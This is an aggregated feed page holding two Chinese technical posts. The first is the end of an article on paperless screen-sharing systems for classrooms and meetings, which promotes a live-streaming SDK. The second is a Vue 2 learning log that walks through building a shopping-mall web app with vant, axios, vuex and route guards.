    • 编码与传输功能:将采集到的屏幕内容进行高效编码,转换为适合网络传输的格式(如 H.264、H.265 等),通过 Wi-Fi 或蓝牙等网络连接发送至接收端设备。同时,具备自适应网络带宽的能力,能够根据网络状况实时调整传输参数,避免出现卡顿或掉帧现象。
    • 设备管理功能:用户可以在发送端软件中管理连接的接收端设备,包括选择要投屏的目标设备、设置投屏模式(如镜像模式、扩展模式等)、控制投屏的开始和结束等操作。此外,还可以对发送端设备自身的一些参数进行设置,如音频输出设置、屏幕采集区域选择等。
    • 交互功能(可选):部分高级的发送端软件支持简单的交互功能,如在移动设备上通过触摸操作对投屏内容进行标注、批注、缩放等,方便用户在展示过程中进行重点强调和讲解。
  2. 接收端软件
    • 接收与解码功能:接收来自发送端设备发送的编码数据,并进行快速解码,还原出原始的屏幕内容。能够与多种编码格式兼容,确保在不同的发送端设备和网络环境下都能正常接收和解码。
    • 显示与布局功能:将解码后的屏幕内容在智能交互大屏或投影仪上进行清晰显示。支持多种显示布局方式,如单屏显示、多屏分屏显示(可同时显示多个发送端设备的屏幕内容)等,满足不同场景下的使用需求。例如,在教学场景中,教师可以同时展示多个学生的作业内容进行对比讲解;在企业会议中,可以同时显示主讲人和参会人员的汇报内容。
    • 交互功能:这是接收端软件的重要功能之一,用户可以在智能交互大屏上通过触摸操作对投屏内容进行交互控制,如点击、滑动、缩放等,如同直接操作发送端设备的屏幕一样。此外,还支持多人同时进行交互操作,实现协作式的学习和工作。例如,在会议室中,参会人员可以共同在大屏上对文档、图表等进行编辑和讨论。
    • 录制与分享功能:能够对投屏过程进行录制,生成视频文件,方便后续的回顾和分享。录制的视频可以保存到本地存储设备,也可以通过网络分享给其他人员。这一功能对于培训课程、会议记录等场景非常实用,能够帮助未能现场参与的人员获取相关信息。

三、网络配置

  1. 网络规划
    • 在部署无纸化同屏系统之前,需要对网络进行合理规划。确定无线路由器或无线接入点(AP)的安装位置,确保信号能够覆盖整个使用区域,避免出现信号死角。同时,要考虑网络的负载能力,根据同时使用的设备数量和数据传输需求,选择合适的网络设备和配置参数。
    • 对于企业或学校等较大规模的场所,建议采用分层的网络架构,如核心层、汇聚层和接入层,以提高网络的稳定性和扩展性。核心层负责高速数据交换和连接外部网络;汇聚层将多个接入层设备连接到核心层,并进行数据汇聚和分发;接入层则为终端设备提供网络接入服务。
  2. 网络设置
    • 无线路由器设置:配置无线路由器的基本参数,如 SSID(无线网络名称)、密码、信道等。为了提高网络性能,建议将 2.4GHz 和 5GHz 频段分别设置不同的 SSID,用户可以根据设备的支持情况和网络需求选择连接。同时,启用无线频段自动优化功能,让路由器根据周围的无线环境自动选择最佳的信道和频段,减少干扰。
    • 网络安全设置:设置网络访问密码,采用 WPA2 或更高级的加密方式,确保无线网络的安全性。此外,还可以启用防火墙功能,限制非法设备的接入和网络攻击。对于企业或学校等场所,还可以考虑采用 VLAN(虚拟局域网)技术,将不同部门或区域的设备划分到不同的 VLAN 中,提高网络的安全性和管理效率。
    • IP 地址分配:可以采用动态 IP 地址分配(DHCP)或静态 IP 地址分配方式。对于普通用户设备,建议采用 DHCP 方式,由路由器自动为设备分配 IP 地址,方便管理和维护。而对于一些需要固定 IP 地址的设备,如服务器、智能交互大屏等,则可以采用静态 IP 地址分配方式,并确保 IP 地址的唯一性和连续性。

四、实施步骤

  1. 设备采购与安装
    • 根据实际需求采购发送端设备(计算机、移动设备)、接收端设备(智能交互大屏、投影仪)以及网络设备(无线路由器、交换机)。确保设备的质量和性能符合要求,并具备相应的接口和功能。
    • 按照设备的安装说明,进行硬件设备的安装和调试。将智能交互大屏或投影仪安装在合适的位置,并连接好电源、网络线和其他必要的配件。对于无线路由器和交换机,要选择合适的安装位置,确保信号覆盖范围和网络连接稳定性。
  2. 软件安装与配置
    • 在发送端设备和接收端设备上分别安装相应的软件。根据软件的安装向导,完成软件的安装过程。安装完成后,打开发送端软件和接收端软件,进行初始配置。
    • 在发送端软件中,设置设备名称、选择网络连接方式(Wi-Fi 或蓝牙),并进行屏幕采集参数和编码参数的设置。在接收端软件中,设置接收端口、显示布局等参数,并确保接收端软件能够正常连接到网络。

以大牛直播SDK的Android平台的同屏为例,打开系统后,配置采集的屏幕分辨率、帧率、码率和编码类型后,点击启动媒体投影,然后推送RTMP即可。

如果小的并发,Android终端启动轻量级RTSP服务也可以,以下是Android终端分别推送RTMP和启动轻量级RTSP服务后,Windows端分别拉取RTSP和RTMP流,延迟情况:

不夸张的说,无纸化同屏技术方案,如果是RTMP或RTSP方案,行业内两类方案:“大牛直播SDK”和其他。

  1. 网络连接与测试
    • 将发送端设备和接收端设备连接到同一无线网络中。确保设备之间的网络连接正常,可以通过 ping 命令或其他网络测试工具进行测试。在测试过程中,检查网络延迟、丢包率等指标,确保网络性能满足无纸化同屏的要求。
    • 进行同屏功能测试,在发送端设备上启动同屏操作,查看接收端设备是否能够正常接收并显示发送端的屏幕内容。测试不同的投屏模式、交互功能以及多人同时投屏的效果,确保系统的各项功能正常运行。同时,在测试过程中,观察网络的负载情况和设备的运行状态,及时发现并解决可能出现的问题。
  2. 培训与使用
    • 对相关人员进行无纸化同屏系统的使用培训,包括发送端设备和接收端设备的操作方法、软件的功能介绍、常见问题的解决方法等。确保用户能够熟练掌握系统的使用技巧,充分发挥系统的优势。
    • 在实际使用过程中,根据用户的反馈和使用情况,对系统进行进一步的优化和调整。不断完善系统的功能和性能,提高用户的使用体验。

五、技术优势

  1. 提高效率
    • 无需传统的线缆连接和复杂的设备调试过程,用户可以快速实现设备之间的屏幕共享,节省时间和精力。在会议、教学等场景中,能够快速切换不同的展示内容,提高沟通和教学效率。
    • 支持多人同时进行交互操作,促进团队协作和讨论。例如,在企业项目讨论会议中,参会人员可以在大屏上共同对方案进行修改和完善,减少沟通成本,提高决策效率。
  2. 灵活性与便捷性
    • 发送端设备可以是多种类型的设备,如计算机、平板电脑、智能手机等,用户可以根据自己的需求和使用场景选择合适的设备进行投屏。无论是在办公室、教室还是户外场所,只要有网络连接,就能够实现无纸化同屏。
    • 接收端设备可以是智能交互大屏或投影仪,适应不同的显示需求和场地条件。用户可以根据实际情况选择不同尺寸和功能的接收端设备,满足多样化的使用场景。
  3. 节能环保
    • 减少了传统线缆连接和纸质文件的使用,降低了能源消耗和资源浪费。同时,无纸化同屏系统的设备功耗相对较低,有助于实现节能减排的目标。
  4. 数据安全与管理
    • 可以通过网络安全设置和用户权限管理,确保投屏内容的安全性。只有授权的用户才能够进行投屏操作,并且可以对投屏过程进行监控和记录,防止数据泄露和非法使用。
    • 对于企业或学校等机构,可以对无纸化同屏系统进行集中管理和维护,方便对设备和软件进行升级、更新和故障排查。

六、应用场景

  1. 教育领域
    • 课堂教学:教师可以将自己的电脑屏幕内容投屏到智能交互大屏上,展示课件、教学视频、网页等内容,方便学生观看和学习。同时,学生也可以将自己的平板电脑或手机屏幕内容投屏到大屏上,展示自己的作业、学习成果等,实现师生之间的互动和交流。
    • 小组协作学习:在小组讨论和项目学习中,学生可以通过无纸化同屏技术将各自的设备屏幕内容共享给小组其他成员,共同进行资料查阅、文档编辑、数据分析等工作,提高小组协作效率。
  2. 企业会议
    • 日常会议:参会人员可以将自己的笔记本电脑屏幕内容投屏到会议室的智能交互大屏上,展示 PPT、文档、数据报表等内容,方便进行汇报和讨论。同时,支持多人同时投屏,不同的人员可以在大屏上切换展示自己的内容,提高会议的效率和效果。
    • 远程会议:结合视频会议软件,无纸化同屏技术可以实现远程参会人员与本地参会人员之间的屏幕共享和交互。远程参会人员可以将自己的屏幕内容实时投屏到本地会议室的大屏上,与本地人员进行实时沟通和协作,如同身处同一会议室。
  3. 医疗领域
    • 手术示教:在手术室中,主刀医生可以将手术过程中的实时画面投屏到示教室的大屏幕上,供实习医生和其他医护人员观看学习。同时,示教室的人员还可以通过交互功能对投屏画面进行放大、缩小、标注等操作,更好地观察手术细节。
    • 病例讨论:医生可以将患者的病历资料、检查报告、影像图片等内容投屏到会议室的大屏上,组织多科室的医生进行病例讨论和会诊,提高诊断的准确性和治疗方案的合理性。
  4. 展厅展示
    • 在展览馆、博物馆、科技馆等场所,通过无纸化同屏技术将展品的相关信息、图片、视频等内容投屏到展示大屏上,为观众提供更加丰富、生动的展示体验。观众还可以通过手机扫描二维码等方式,将展示内容投屏到自己的手机上,方便随时查看和分享。

七、技术展望

无纸化同屏技术未来有以下发展趋势:

  • 技术层面
    • 智能化程度提升:随着人工智能技术的发展,无纸化同屏技术将融入更多智能功能。如智能语音控制,可通过语音指令实现屏幕共享、切换等操作;智能内容识别与分析,能够自动提取屏幕内容中的关键信息,进行分类和总结。
    • 网络适应性增强:随着 5G 等高速网络的普及,无纸化同屏技术将更好地适应高带宽、低延迟的网络环境,实现更流畅、稳定的同屏效果。同时,也会进一步优化在不同网络条件下的自适应能力,即使在网络信号较弱的情况下,也能保证基本的同屏功能正常运行。
  • 功能层面
    • 交互功能深化:未来的无纸化同屏技术将支持更丰富、更高效的交互方式。比如多人同时在同屏界面上进行实时批注、绘图、讨论等操作,增强参与者之间的互动性和协作性。还可能引入虚拟现实(VR)和增强现实(AR)技术,提供沉浸式的同屏交互体验。
    • 集成更多功能:除了现有的屏幕共享、交互等基本功能,还会与更多办公、教学、医疗等业务功能深度集成。例如在企业中,与办公软件、项目管理系统等集成,实现会议同屏与工作流程的无缝衔接;在教育领域,与在线教学平台、作业批改系统等结合,为教学提供更全面的支持。
  • 应用层面
    • 应用领域拓展:除了现有的教育、企业、医疗、展厅等领域,还将拓展到更多行业和场景。如在智能家居中,实现家庭设备之间的屏幕共享和控制;在交通物流领域,用于车辆调度、监控等方面的信息同屏展示。
    • 跨境跨地域应用增加:随着全球化的发展,跨境协作和交流日益频繁,无纸化同屏技术将在跨国会议、远程教学、国际医疗会诊等场景中发挥更大的作用,打破地域限制,实现实时的信息共享和互动。
  • 设备层面
    • 跨设备兼容性优化:支持更多种类的设备接入和同屏,不仅包括常见的计算机、平板、手机等,还可能涵盖智能手表、智能眼镜等新兴智能设备,实现多设备之间的无缝切换和协同工作。
    • 硬件设备小型化与集成化:发送端和接收端设备将更加小型化、便携化,便于安装和使用。同时,硬件设备可能会集成更多功能,如将网络连接、屏幕采集、编码解码等功能集成于一体,减少设备的复杂性和成本。

无纸化同屏技术的发展,离不开音视频基础底座,除了现有的教育、企业会议、医疗、展厅展示等领域,还将在智能家居、交通物流、政务办公等更多行业和场景得到应用,为人们的生活和工作提供更多便利。

by 音视频牛哥 at January 21, 2025 08:51 AM

juejin frontend

Vue 学习记录(八)--- 智慧商城项目


theme: channing-cyan

Vue 核心技术与实战

智慧商城项目

项目收获

  • 完整电商购物的业务流程
  • 组件库 vant(按需导入)
  • 移动端 vw 适配
  • request 请求方法封装
  • storage 存储模块封装
  • api 请求模块封装
  • 请求响应拦截器
  • 嵌套路由配置
  • 路由导航守卫
  • 路由跳转传参
  • vuex 分模块管理数据
  • 项目打包 & 优化

创建项目

  • 安装脚手架
  • 创建项目
  • 选择自定义
  • 074451362b82990669f5f419915c130c.png

调整初始化项目目录

  • 将目录调整为符合企业规范的项目目录
  • 41c10908942678803935319e39ceeff1.png
  • 步骤
    1. 删除多余的文件
    2. 修改路由配置和 App.vue
    3. 新增两个目录 api / utils
      1. api 接口模块:发送 ajax 请求的接口模块
      2. utils 工具模块:自己封装的一些工具方法模块

vant 组件库

  • 第三方组件库 vant-ui
  • 组件库:第三方封装好了很多的组件,整合到一起就是一个组件库
  • 官网:vant-ui.github.io/vant-weapp/…
  • vant2 版本支持 vue2、vant3 & vant4 版本支持 vue3
  • 其它组件库
    • PC端:element-ui(饿了么)、ant-design-vue(阿里巴巴)
    • 移动端:vant-ui、Mint UI(饿了么)、Cube UI(滴滴)

vant 按需导入

  • 步骤:
    1. 查阅官方文档
    2. 安装 vant-ui
      • yarn add vant@latest-v2
    3. 安装插件
      • npm i babel-plugin-import -D
    4. bable.config.js 中配置
      • da4bbff4d672a3e4b798c95e091d8018.png
    5. main.js 按需导入注册
      • 5fd94eace779ef264d478ff001ecd414.png
    6. 测试使用
      • 5e0b651bd6ccfc674ed45871b6312121.png
      • c2dce8a4375f28855c1fae00dfc197d9.png

项目中的 vw 适配

  • 基于 postcss 插件,实现项目 vw 适配
  • postcss 会自动将 px 转换为 vw
  • 步骤:
    1. 安装插件
      • yarn add postcss-px-to-viewport@1.1.1 -D
    2. 根目录新建 postcss.config.js 文件,填入配置
      • bec4e3e429480282bd3621668fa31393.png

路由设计配置

  • 分析项目页面,设计路由,设置一级路由
  • 只要是单个页面并且独立展示的,都是一级路由
  • 73a952a173b31feaf46a43081c4980fb.png

使用 vant 组件,实现底部导航

  • 31aea119a727b23302a8367bb9288be6.png
  • 步骤
    1. vant-ui.js 按需引入
      • 在 vant 导航组件中找到 tabbar 复制粘贴到 vant-ui.js 中即可
      • d2b51b7be3fc303dc2c5f1f5e2f3a59c.png
    2. layout.vue 粘贴官方代码
      • 7914172c9bde8dbc9890b20cd701390f.png
    3. 修改文字、图标、颜色
      • 可根据自己的需求修改标签和图标
      • 在组件库中找到想要的图标样式,将名称赋值给 icon 属性即可
      • b5731655177a4c5f2e06c2716db3bb8b.png

配置二级路由

  • 基于底部导航,配置二级路由
  • 步骤:
    1. 配置二级路由(children 属性配置子路由)
    • ece521c455a618c0619aaf5408ad38b4.png
    1. 配置导航链接
      • vant 标签栏支持路由模式
      • ffe3e8438d3d5896723c28f247a43363.png
      • c20355d898035312b152397e6c9bafd1.png
    2. 配置路由出口
      • 07610287e4ea259fffb40fafbe1ccf10.png
    3. 当访问 '/' 时重定向到 '/home'
      • aa03b6a95009246ec4b19bd20ab0542f.png

登录页静态布局

  1. 准备工作
    • 新建 styles/common.less 重置默认样式
    • main.js 中导入 common.less
    • 图片素材拷贝到 assets 目录
  2. 登录页静态布局编写
    • 头部组件(vant)(NavBar)
    • 通用样式覆盖
    • 其他静态结构编写
  • 效果:
  • 58df11c94901847d8f2005e892d5b885.png

request 模块 - axios 封装

  • 将 axios 请求方法封装到 request 模块
  • 一般会对 axios 进行一些配置(配置基础地址,请求响应拦截器等)
  • 所以项目开发中,都会对 axios 进行基本的二次封装,单独封装到一个 request 模块中,便于使用维护
  • 步骤:
  1. 安装 axios
  2. 新建 request 模块 utils/request.js
  3. 创建实例和配置 并 导出
  4. 测试使用

图形验证码功能

  • 基于请求回来的 base64 图片,实现图形验证码功能
  • 说明:
    1. 图形验证码,本质就是一个请求回来的图片
    2. 用户输入图形验证码,用于强制人机交互,可以抵御机器自动化攻击
  • 需求:
    1. 动态将请求回来的 base64 图片,解析渲染出来
    2. 点击验证码图片盒子,要刷新验证码
  • 1b6adc7a9524a2619928530b9ecca3f6.png
  • 681159cb55ebff626270e4c6d784f0ce.png

api 接口模块 - 封装图片验证码接口

  • 之前模式的弊端:
    1. 页面中充斥着请求的代码,可阅读性不高
    2. 相同的请求没有复用
    3. 请求没有统一管理
  • 将请求封装为方法,统一存放到 api 模块,与页面实现分离
    • ae6be0af42368b8ec7b2b2f4cd3886b4.png
  • 封装为 api 模块的好处
    1. 请求与页面逻辑分离
    2. 相同的请求可以直接复用
    3. 请求进行了统一管理
  • 步骤
    1. 新建请求模块
      • 在 api/login.js
    2. 封装请求函数
      • 20a49d2bf6442ff3985b3f425154de06.png
    3. 页面中导入调用
      • caf39e3304234b949bd034fa48851cd9.png

Toast 轻提示

  • 参考 vant 官方文档
  • vant 组件库中的 Toast 轻提示
  • 步骤
    1. 注册安装
    • a13041ad3ef1e6f8e5a86c0dd809e1b4.png
    1. 使用方式
    2. 导入调用(任意地方)
    • 2ec40f26eee5716f39074b56712a18b9.png
    • 通过 this 调用 (组件内)
    • 本质:将方法注册挂载到了 Vue 原型上 Vue.prototype.$toast = xxx
    • this.$toast('提示内容')
    • 553791e72d4b45043b915a006fd79cd6.png

短信验证倒计时 - 点击按钮,实现倒计时效果

  • 步骤
    1. 准备 data 数据
    • 90c4ef87b26b7e3aea14ccc3b3a4d9b4.png
    1. 给按钮注册点击事件、并且切换显示文字
    • 1afb327e7cecdd72f9c12956f074df9b.png
    1. 开启倒计时
    • a2661534f68f3934ba8f69ec55ef5834.png
    1. 离开页面时清除倒计时
    • e200280302655a1292f58497764ec549.png

短信验证倒计时 - 倒计时之前的校验处理(手机号、验证码)

  • 步骤
    1. 设置变量并使用 v-model 绑定变量
    • 6e012f10f19f038ef880352a28206b55.png
    • eadb354d807cf81c4d1da54f573b391f.png
    1. methods 中封装校验方法(正则表达式)
    • 5271a2d67f2b32b636abe73442f22fc6.png
    1. 在发送手机验证码前进行校验
    • 5cd0f58036faf55054a3ba89134ec800.png

短信验证倒计时 - 封装短信验证接口,发送请求添加提示

  • 步骤
    1. 封装接口:
    • b8f939b1ae81deea8af5c12d0cab0fb4.png
    • f93220410d075371121de99aed285769.png
    1. 调用接口
    • f33cb1fbb7742ff025b216a65a89785d.png

登录功能

  • 封装 api 登录接口,实现登录
  1. 阅读接口文档,封装登录接口
  • 7f54ab889ead1ce86d6dd269299b6e92.png
  1. 登录前的校验(手机号、图形验证码、短信验证码)
  2. 调用接口并发送请求
  • 6a3fb35f16cc1b0e1c95a3f63a650874.png

响应拦截器统一处理错误提示

  • 响应拦截器是我们拿到数据的第一个数据流转站,可以在里面统一处理错误
  • a53a95734d096276226bdc4c8cd44a92.png
  • 配置拦截器
  • 6e4f66e8f1ee15a13d463d3a245fb21e.png

登录权证信息存储

  • vuex 构建 user 模块存储登录权证(token $ userId)
  • 步骤
    1. 构建 user 模块
    • c25997c3a1f0ace879e61bd662bd811d.png
    1. 挂载到 vuex
    • 39dc637b4155ff03850ca7ae71927245.png
    1. 提供 mutations
    • 631abc75b1f0c17286015bac02cec457.png
    1. 页面中 commit 调用
    • 34ff4c19634411f8622ef959ee8d8980.png

storage 存储模块 - vuex 持久化处理

  • 封装 storage 存储模块,利用本地存储,进行 vuex 持久化处理
  • 存在的问题
    1. vuex 中的数据在页面刷新后丢失
    2. 每次存取操作太长太麻烦
    • da59e6242d6afeb6c75e33ed1bba35da.png
  • 封装为 storage 模块后
    • b7e25f3901b2ecec7cf2bc7348143c88.png
    • 6d5b061dde2c460f5a7b84016bfd970a.png
  • 步骤:
    1. 封装 storage 方法
    • 2d00af76ad9dfa40d534a87d6fc8f8b9.png
    1. 在 vuex 的 user 子模块中调用方法
    • 8800a1fc51d59ceda252a355062b5e36.png
    1. 查看效果
    • 608669ea4c6d5ab20c0af1c4fcf48be8.png

添加请求 loading 效果

  • 在每次请求后台时,添加 loading 效果
  • 一次请求的结果可能需要一段时间后才能回来,此时给用户添加 loading 提示
  • 36d162ebeeadc7e0125f081112aa6cc7.png
  • 添加 loading 提示的好处
    1. 节流处理:防止用户在一次请求还没回之前,多次点击,发送无效请求
    2. 提升用户体验
  • 步骤:
    1. 请求拦截器中,每次请求时打开 loading
    • aa025d86fa88cee1cf0e6a43102c8cf1.png
    1. 响应拦截器中,每次响应时打开 loading
    • 19cad5ac594213023a26935a3fca35d4.png

页面访问拦截

  • 说明:本项目大部分页面游客都可以直接访问,如遇到需要登录才能进行的操作,提示并跳转到登录
  • 对于支付页、订单页等,必须是登录的用户才能访问,游客不能进入该页面,需要拦截未登录的用户
  • 路由导肮守卫 - 全局前置守卫
  • 官网:v3.router.vuejs.org/zh/guide/ad…
    1. 所有的路由一旦被匹配到都会先经过全局前置守卫
    2. 只有全局前置守卫放行,才会真正解析渲染组件,才能看到页面内容
    • 94b45751a53912c0e5a6b94cf20a7293.png
    • f5c04e9eb5469aa04162f8135711c972.png
  • 如果不配置 next 函数,则会拦截所有页面
  • 访问权限页面时,拦截和放行的关键点是看 -> 用户是否有登录权证 token
  • 832a0c5be3d9b4e985272514a8f40a12.png
  • 473ca77301d5febd955d777289e85047.png

首页 - 静态结构准备 & 动态渲染

  • 实现首页动态结构,封装接口,完成首页动态渲染
  • 步骤:
    1. 静态结构
      • vant组件
      • 7b5e3448f61cf81b8f8f39f60211422f.png
      • 9ae5b989f61ee503bde477c69f20d956.png
    2. 封装接口
      • 在 api/home.js 中封装请求接口
      • 9089c7049e3e662802a53ad497155319.png
    3. 页面调用
      • 在 created 中发送请求并在控制台输出,根据输出结果解构数据
      • 31073d43d82aacfc67a5cf15e18ae68f.png
      • 887f9da42a42ab4592f1ac4c086ef351.png
      • 在 data 中准备数据
      • 0a8661377fdd99ef26b378a34c73debc.png
    4. 动态渲染
      • 轮播图动态渲染
      • 365249a7e228bbd9e3f6619ce36375c0.png
      • 导航动态渲染
      • 62e070c10a3f183430e0c3b6f36caf08.png
      • 商品动态渲染
      • 由于商品界面使用了子组件单独封装 GoodsItem
      • 因此商品的动态渲染需要用到 父传子
      • 65020e9349475d60a942306bd4a2c985.png
      • 12d14ae24b2a15b6a1d529087dc6fe61.png
      • 5e7a8f70e9a29da92a09134a854e1aa8.png

搜索 - 历史记录管理

  • 构建搜索页静态布局,完成历史记录的管理
  • 需求
    1. 搜索历史的基本渲染
    2. 搜索历史的添加(追加)
      • 点击搜索按钮或最近搜索的条目,都能进行搜索
      • 若之前没有相同搜索关键字,则直接追加到最前面
      • 若之前已存在相同搜索关键字,将原来的关键字移除,再追加
      • f28b9764c04b2cc2f5ca463ed46bd38c.png
      • 3119f01d7a461fea5e82c0c2cb0d1fd8.png
      • 3e7982063ab5ab6464b79babd5f8bf86.png
    3. 清空历史:添加清空图标,可以清空历史记录
      • 22a2ce2818a489dbc6284967e74b3c72.png
      • f2978ef532e6442c94f330bbfc174cd3.png
    4. 持久化:搜索历史需要持久化存储,刷新后确保不丢失
      • f87655e387f696fd704457f5c9bc41e8.png
      • dc1902129ebf7c98270319c16a6a50b0.png
      • 7cc5e74fd9fdd1af5c0017a19df13ede.png
      • e1365e43dd18462e7fcb0e8bf506ada5.png

搜索列表 - 静态布局 & 渲染

  • 实现搜索列表页静态结构,封装接口,完成搜索列表页的渲染
  • 步骤
    1. 编写静态结构
      • 效果
      • dc404d2d83e8f126b23fc2ef37b8fe34.png
    2. 封装接口
      • 08501f6f5237e0ddfb5337ec6238354f.png
    3. 获取参数,调用接口
      • 8653c25500fd37ec29575510296df534.png
    4. 动态渲染
      • d128077ebb1bfcd9ab6b38858253e993.png

商品详情页 - 静态布局 && 渲染

  • 实现商品详情静态结构,封装接口,完成商品详情的渲染
  • 步骤
    1. 静态结构
      • 2418647963ebfdf6439983ea3638adc5.png
    2. 封装接口
      • 1121b7b6e01ca08d3cba14f5dd6631e6.png
    3. 动态路由获取参数
      • 629d8d27bf998ea7aae1c8b80f8c46c3.png
    4. 获取参数动态渲染
      • 调用api接口
      • 5d9c2421edba667852d76a844dd633db.png

加入购物车 - 唤起弹层

  • 目标:点击加入购物车时,唤起弹层效果
  • a5e5dc15fffb3106aee7663e37bb68c6.png
  • 步骤
    1. 从 vant 中找到 actionSheet 组件
      • af6849ab0e74a082189f74c66b829830.png
    2. 完善弹层结构和样式布局
      • 490bf1f1c291eef4bee5fc83d9060a3f.png
      • dd8a3e7ebb0d57e99e6bb3c64825c8f3.png
    3. 根据返回的数据,动态渲染有关的信息
      • 967736090847cb162f22e7c21247b56d.png

加入购物车 - 数字框组件的封装

  • 分析:组件名 CountBox
  • 7c3da0fbe227aaa1a9df0c5157a84d94.png
  1. 静态结构,左中右三部分
    • ea4a33f4627dade30513111c7fef2bcc.png
    • 2bd4a3f88774aa54a380258b07ce5e72.png
  2. 数字框的数字,由外部传递进来(父传子)
    • 712878f70dc71fae91e035833b7d0a40.png
  3. 点击 + - 号,可以修改数字(子传父)
    • d12bf8249cddb60682c7cdc3cfd00a9e.png
  4. 使用 v-model 实现封装(:value 和 @input 的简写)
  5. 数字不能减到小于1

加入购物车 - 判断 token 添加登录提示

  • 040507950e2cb970be9c5822303f5d64.png
  • 思路
    • token 存在:继续加入购物车操作
    • token 不存在:提示用户未登录,引导到登录页,登录后跳回上一页
  • 步骤
    1. 在 vant 组件库中找到 Dialog 组件,并了解相应的使用规则
      • 5e1b6ba48a2abb0aa336064014ca1993.png
    2. 给按钮绑定单击事件,并完善组件的文案
      • 053d26e62d35ee0febea6f4e0f479ba6.png
    3. 登录后回到商品详情页而不是首页,要加 backUrl
      • 8ab60a168f77bfbe29e584ee34c86076.png
    4. 完善登录逻辑代码
      • 7ed972311c84ab814026098f1d73c5a6.png

加入购物车 - 封装接口并发送请求

  • fdab150975907161b9455f623b1aac3d.png
  • 步骤
    • 在 api/cart.js 中封装接口
      • 84b827ddeb7d136c8c5cb693550ed875.png
    • 页面中调用接口
      • 68af4a14a52786bcd42d20ec499496da.png
    • 在请求头中添加 token,利用请求拦截器,只要存在 token,就将其添加到请求头中
      • 99486730c214fffdc352b8a879dfc848.png

购物车模块

  • 说明
    • 购物车数据联动关系较多,且通常封装为一些小组件
    • 为了方便维护,一般都会将购物车的数据基于 vuex 进行分模块管理
  • 需求分析
    • 基本静态结构
    • 构建 vuex cart模块,获取数据存储
    • 基于数据 动态渲染购物车列表
    • 封装 getters 实现动态统计
    • 全选、反选功能
    • 数字框修改数量功能
    • 编辑切换状态,删除功能
    • 空购物车处理

购物车模块 - 构建 vuex cart模块,获取数据存储

  • 步骤
    • 构建 modules/cart.js, 并在 store 中注册
      • 831f7f065801f9a051cf06d610705add.png
    • 封装 api 接口
      • 8b1f06c1bdb533afe39b67df950a8183.png
    • 封装 actions(异步) 和 mutations(修改state)
    • 在页面中使用 this.$store.dispatch 调用 dispatch
      • 98c8e22458dcd53e156dc267700c186b.png

购物车模块 - 基于数据动态渲染购物车列表

  • 使用辅助函数 mapState 将 cartList 直接映射到组件的计算属性中
  • 7f3df7ea9e08d18c15ebd436e853d989.png
  • 然后依据数据结构进行渲染
  • 6e65b3dcfb5292fe7b0feb9f0a388f73.png

购物车模块 - 封装 getters 模块进行动态统计

  • 封装 getters
    • 99417ac9fb6589f15f636302da2b4e06.png
  • 在 getters 中也可以获取 getters
    • 162b2fc1651fe1e9d4713f23db1ccf7a.png
  • 使用 mapGetters 进行映射
    • b2a435ba3686772eb3b8ec4454e889fe.png
  • 在页面中进行渲染
    • ccee1dca7ee464e37752eb127499cd40.png
    • 9e7fd954ae2c5e3caaed16415756ca01.png

购物车模块 - 全选与反选

  • 创建全选 getters

  • 01caf28a72fff2d5eeaf171e924dbad1.png

  • 给单项商品绑定单击事件,并在全选 getters 中判断是否所有的单项商品都选中

  • 点击全选时将所有单项商品的选择框重置

  • 79a76f851d9aaf3e9880b13a87326d71.png

购物车模块 - 数字框修改数量

  • 点击数字框的加减号,对购物车中的商品数量进行加减
  • 23f175895ad8ce7e11be949cc271993c.png
  • 封装 api 接口
  • fe697d9fccead48e4d1f5068158cf9d4.png
  • 注册点击事件并向 vuex 中的 action 传参
  • 3e3c5ee59d819e19a24668f0a91e648a.png
  • 在 action 中调用api接口
  • 6fc9890bdd5b0d7fe733c8cd15bf3d98.png
  • 小妙招,如何在注册点击事件时传递多个参数
  • 4daa20ce83930f1734b9a557cbcc0acc.png

购物车模块 - 编辑切换状态

  • 点击右上角的编辑后,右下角的结算变成删除,并且 isAllCheck = false
  • 设置 isEdit 变量,并绑定单击事件,点击编辑时将 isEdit 取反
    • 3f6473198831e6c3f6e49784fb9c8d24.png
  • b1d10ced9270f2b4fafdc16ea7fbeb9c.png
  • 使用 watch 监听,当 isEdit 为 true 时,调用 store 中的 mutation,改变全选状态
    • 94ccc7236817fd02d051a36e1ef78403.png

购物车模块 - 删除商品

  • 封装 api 接口
    • 5a090fb2b6fff324e5e046a1fbe094c0.png
  • 给删除按钮绑定单击事件,点击时调用 actions 中的方法
    • 8f5d739faa59bd9801aa913f23c537f7.png
    • e9f0015456b5ac882bfe50ac02cbe157.png
  • 删除成功后切换回结算
    • 74b2cf4917d15a7ea7bf9fa27bf87c84.png

购物车模块 - 空购物车页面

  • 当购物车为空或未登录时,展示
    • 4555e2ef58ae69542e7c0efb55967fba.png
  • 使用 v-if 和 v-else 控制两个盒子
    • 68686923da5e99ff24e57f0f7eb63fa7.png

订单结算台 - 页面布局与数据渲染

  • 563466d5e1de10c6a9e119cbf94315b4.png
  • 封装 api 接口(获取地址列表)
    • 0dd5ea365bd0fd08a2400c5730b2631d.png
  • 设置相关变量和计算属性等
    • 6ba48d9c19ba4b1c87acc70fcedb0619.png

订单结算台 - 购物车结算

  • 6bbd5272f85748311f3ba8e5c3e9e49c.png
  • 封装 api 接口
    • 6ab0e4652106d6d6b1ead457045e247a.png
  • 跳转传递查询参数 mode 和 cartIds
    • 2dd6c0e4ece400741257288f24c0478d.png
  • 页面中 $route.query 接收参数
    • 951d124cde2a91031b95c8b3c9117b6d.png
  • 调用接口获取数据
    • 6fd3ddaaa5965cf2340272abc2b7ea9c.png
  • 渲染数据

订单结算台 - 立即购买结算

  • 6bcaa4ccdf3ec1e65c8a68f817912a97.png
  • 点击跳转传参
    • fe328ae9bbaacc842663fb77ee237d42.png
  • 基于 mode 等参数发送请求进行渲染
  • mixins
    • 功能:需要将一个组件内的功能提取为公共部分,方便其它组件使用
    • 将登录提示弹出框提取到 mixins 的 longinConfirm 中
      • 8620e4beb6244c6258bb139ecdd7d359.png
    • 在组件中导入 mixins
      • 7a930e780a0dfb7b135a878d21f19e07.png

订单结算台 - 提交订单

  • 封装 api 接口
  • 在页面中绑定单击事件并调用接口
  • (参考项目文档)

订单管理页面 + 个人中心

  • 退出登录功能
  • 清除 vuex 中的 cart 和 user 模块信息 -(参考项目文档)

打包优化 - 打包指令及说明

  • 说明:vue 脚手架知识开发过程中,协助开发的工具 -- 脚手架不参与上线
  • 打包的作用
    1. 将多个文件压缩合并成一个文件
    2. 语法降级
    3. less sass ts 语法解析
    4. ...
  • 打包后可以生成浏览器能够直接运行的网页 =》 即需要上线的源码
  • vue 脚手架提供了打包命令,可以直接使用
  • yarn build / npm run build
